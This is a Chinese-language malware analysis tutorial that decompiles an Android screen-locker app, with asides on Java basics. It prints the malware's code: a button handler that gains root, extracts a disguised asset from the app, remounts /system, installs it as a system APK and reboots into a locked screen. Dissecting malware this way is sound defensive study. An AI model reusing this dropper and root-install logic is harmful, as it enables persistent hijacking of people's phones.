一、查看反编译的main的java
public class main extends Activity{
final class ButtonClickListener implements View$OnClickListener{
private final main this$0;
public ButtonClickListener(main arg6){
super();
main.this=arg6;
}
static main access$0(ButtonClickListener arg4){
return arg4.this$0;
}
@Override public void onClick(View arg8){
new cmd().rootshell();//获取Root权限
file.deleteFile(main.this.file);
}
}
}
注意:
1.final变量是只读的;final方法不可被重写,比非final方法快;final类功能是完整的,不能被继承。
2.抽象(abstract)类不能被实例化,只有抽象类的非抽象子类可以创建对象。
3.extends是继承父类,java中不能多重继承,但可以用接口实现,这样就用到了implements,implements可以实现多个接口。
4.内部类,类中定义的类,它是个编译时的概念,一旦编译成功后,它就与外围类属于两个完全不同的类(当然他们之间还是有联系的)。这时候,会出现两个class文件:outerclass.class和outclassinnerclass.class。5.this0特指内部类所自动保留的一个指向所在外部类的引用。
6.当一个类中有main()方法,执行命令“java 类名”则会启动虚拟机执行该类中的main方法(由于调用时没有实例化对象,所以需要限制为public static);main中必须有一个string[]参数,名字可自己设定,一般为args;但会先执行static(仍会打印):
public class HelloWorld{
static{
system.out.println("Hello world!");
}
public static void main(String args[]){
system.exit(0);
}
}
我们先看到Manifest,找到启动类:
<activity android:label="@string/app_name" android.name=".c">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<activity>
android:name=”.c” 这个c就是改成main的那个。
再看OnCreate方法,是在窗口被打开的时候调用的,其中主要有两句:
v0.b.setOnclickListener(new ButtonClickListener(v0));
v4.d(new StringBuffer().append(v0.path).append(“/zidao.l”).toString());
第一句是给那个“点击打开悬浮窗”的按钮设置按钮事件,即那个onClick方法:
@Override public void onClick(View arg8){
new cmd().rootshell();//获取Root权限
file.deleteFile(main.this.file);
这个rootshell其实不只获取root权限:
void rootShell() {
cmd.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app",
"cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk",
"chmod 644 /system/app/zihao.apk", "reboot"}, true);
}
大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;
然后就是关于这个zihao.l怎么来的?这时候就要回到第二句了,我们看看这个d方法:
private void d(String arg13) throws IOException {
FileOutputStream fileout= new FileOutputStream(arg13);
InputStream soinput =this.getAssets().open("i jm-x86.so");
byte[] inputByte=new byte[1024];
int v5;
for(v5=soinput.read(inputByte);v5>0;v5=soinput.read(inputByte)){
fileout.write(inputByte,0,v5);
}
fileout.flush();
soinput.close();
fileout.close();
}
1.FileOutputStream:写出流;InputStream:读入流;
读自身存储路劲下的ijm-x86.so,读到没得读为止,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲。。。然后你也发现屏幕已经被锁住了。
来,看看第二层这个APK;